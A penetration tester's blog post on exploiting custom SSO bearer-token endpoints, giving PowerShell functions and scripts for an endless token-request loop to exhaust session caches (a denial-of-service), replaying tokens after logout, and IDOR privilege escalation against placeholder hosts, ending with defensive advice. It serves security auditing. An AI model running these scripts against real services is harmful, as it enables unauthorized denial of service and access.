Basic Exploitation of SSO Access Tokens

Musings on basic access token exploitation & security checks on incorrectly/custom implemented SSO

Access & Bearer Tokens

Bearer tokens and OAuth were originally invented to provide a framework and context for cross-site site authorization. This offered a granular programming interface for access control of resources across trust relationships on the web. Grant types were implemented as different paradigms for authorization scenarios arose across different use cases & devices. Subsets of OAuth functionality were siphoned off and are, likely at the damnation of the RFC, implemented in sub-capacities of OAuth's functional purpose. Thus the password grant type was born. I often find custom SSO implementations that implement the bearer Token Endpoint using the password grant type via a simple HTTP POST with the username and password in the body as an authentication method. In the eyes of the developer, they gain the benefits, e.g. token & session management functionality, for free without the need to implement a more complex grant type model. This also makes security testing easier, and this post deals with some simple exploits & lapses in defense to check for on a pentest or security audit.

Testing Security Functionality

When I find a convenient token authorization endpoint in my HTTP traffic logs on a pentest, I often focus on session management and make presumptions as to what a custom implementation might be doing under the hood from a data structure perspective. I built the following Powershell template for testing bearer token endpoints, which will be described in the sections following:

function Get-Bearer
{


    Param
    (
        [Parameter(Position = 0, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TokenUri,
        [Parameter(Position = 1)]
        [String]
        $Body = "",
        [Parameter(Position = 2)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"

    )
    try
    {
        [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
        $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"POST"
        $URI = [System.Uri]::new($TokenUri)
        $hostName = ($URI.Host) -replace '^www\.'
        $maximumRedirection = [System.Int32] 0
        $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
        $headers.Add("Host", $hostName)
        $headers.Add("Accept", "application/json")
        $Body += "

        "
        $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $contentType -Body $Body)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }

    $bearerToken = ($response.Content | ConvertFrom-Json).access_token
    return $bearerToken
}

function Get-AuthenticatedResource
{


    Param
    (
        [Parameter(Position = 0,
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $TargetUri,
        
        [Parameter(Position = 1, 
            Mandatory=$true)]
        [ValidateNotNullOrEmpty()]
        [String]
        $Token,
        
        [Parameter(Position = 3)]
        [ValidateNotNullOrEmpty()]
        [String]
        $ContentType = "application/x-www-form-urlencoded"
    )

    try
    {

    [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
    $method = [Microsoft.PowerShell.Commands.WebRequestMethod]::"GET"
    $URI = [System.Uri]::new($TargetUri)
    $maximumRedirection = [System.Int32] 1
    $hostName = ($URI.Host) -replace '^www\.'
    $headers = [System.Collections.Generic.Dictionary[string,string]]::new()
    $headers.Add("Host", $hostName)
    $headers.Add("Authorization", "Bearer " + $Token)

    $response = (Invoke-WebRequest -Method $method -Uri $URI -MaximumRedirection $maximumRedirection -Headers $headers -ContentType $ContentType)
    }

    catch [System.SystemException]
    {
        Write-Error $_ -ErrorAction Stop
    }
    return $response
}

Cache Overflows

This is by far one of the easiest flaws to find in custom SSO business logic. Fundamentally, developers tend to make assumptions about sessions such as:

  • Total users they presume will be using a given application at any given time

  • Users are facilitating normal session flow volumes

Thinking back to the early 2000's, SYN floods were used to DoS routers & network appliances which, simply put, was caused by a failure to evict outstanding TCP SYN negotiations and manage memory properly for the caches which track TCP state.

Session management can exhibit similar shortcomings. For example, caches that are constructed in memory with a simple data structure rather than scale-aware memory managed structures could potentially allow for an attacker to tie up a worker thread on a server, or amplify a DoS/DDoS attack if the server utilizes session layer thread-pooling without proper load balancing in the infrastructure.

One solution I have seen commonly adopted is to utilize a distributed performance cache such as ehcache, which uses a FIFO to evict entries, within its configuration parameters.

While the cache overflow may not always exhibit a DoS condition, continually requesting tokens is a great way to see if their is any rate-limiting in place, both on the application code and encapsulating infrastructure. Furthermore, the cache deadlock condition could be used as a temporary persistence mechanism if target sessions were not subject to a timeout or eviction. Those sessions could be leveraged in further client-side attacks such as Session Fixation.

Exploitation

Using the template above, add the following Powershell invocation, after tuning the body request to suit your target:

DO{
    
    Start-Job -ScriptBlock{
    Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
    $bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
    -Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
    $bearerToken
    }

}
While (1)

Implementing this in a multi-threaded context would provide a nice improvement in the future

Session Replay

Session replay is a simple test to ensure that the OAuth/OIDC logout endpoint is implemented correctly, and doesn't allow for an expired token to be used again. This is an important defense-in-depth measure as it ensures that tokens, should they be cached, cannot be compromised in any number of ways including (but not limited to):

  • Physical Access

  • Browser Exploits

  • Trojans

Exploitation

This can be performed with the following Powershell invocation (again requiring your own tuning), which gets a token, makes an authenticated request for privileged resources, hits the expiration endpoint, and then again attempts to make the same authenticated request:

Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode


Write-Host "Initiating Token Expiration.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/protocol/openid-connect/logout?redirect_uri=https%3A%2F%2Fexample.com%2F%23%2Fusers"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode

Write-Host "Making Request with Expired Bearer Token.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/userprofiles/?first=0&max=11"`
    -Token $bearerToken
#$response.StatusCode
$response | Select-Object -ExpandProperty RawContent

IDOR

Another easy win is to test for IDOR, in which a user is able to escalate his or her privileges by simply requesting a high-privilege resource with a low-privilege token context.

Exploitation

Write-Host "Retrieving Bearer Token..." -ForegroundColor red -BackgroundColor blue
$bearerToken = Get-Bearer -TokenUri "https://example.com/protocol/openid-connect/token"`
-Body "client_id=example-client&username=low_priv_user@skiddie.com&password=Password123!&grant_type=password&scope=openid"
#$bearerToken

Write-Host "Making High Privilege Request.." -ForegroundColor red -BackgroundColor blue
$response = Get-AuthenticatedResource -TargetUri "https://example.com/authenticatedResource"`
    -Token $bearerToken
#$response | Select-Object -ExpandProperty RawContent
$response.StatusCode

Conclusions & Defense

It is never a good idea to roll your own SSO, but if the enterprise at large demands it be sure that proper protective measures are taken to ensure proper application-level access management, data structure implementations, and session management configurations. Perform periodic & comprehensive reviews of all source code, and most importantly instrument a DevSecOps pipeline to continuously ensure security practices as part of the development process. Be sure that the code is compliant with industry standards such as RFC 6750, and the OIDC specifications if relevant to the organization. If available, replace legacy SSO implementations with pre-built, industry approved libraries for your specific stack.

References

Last updated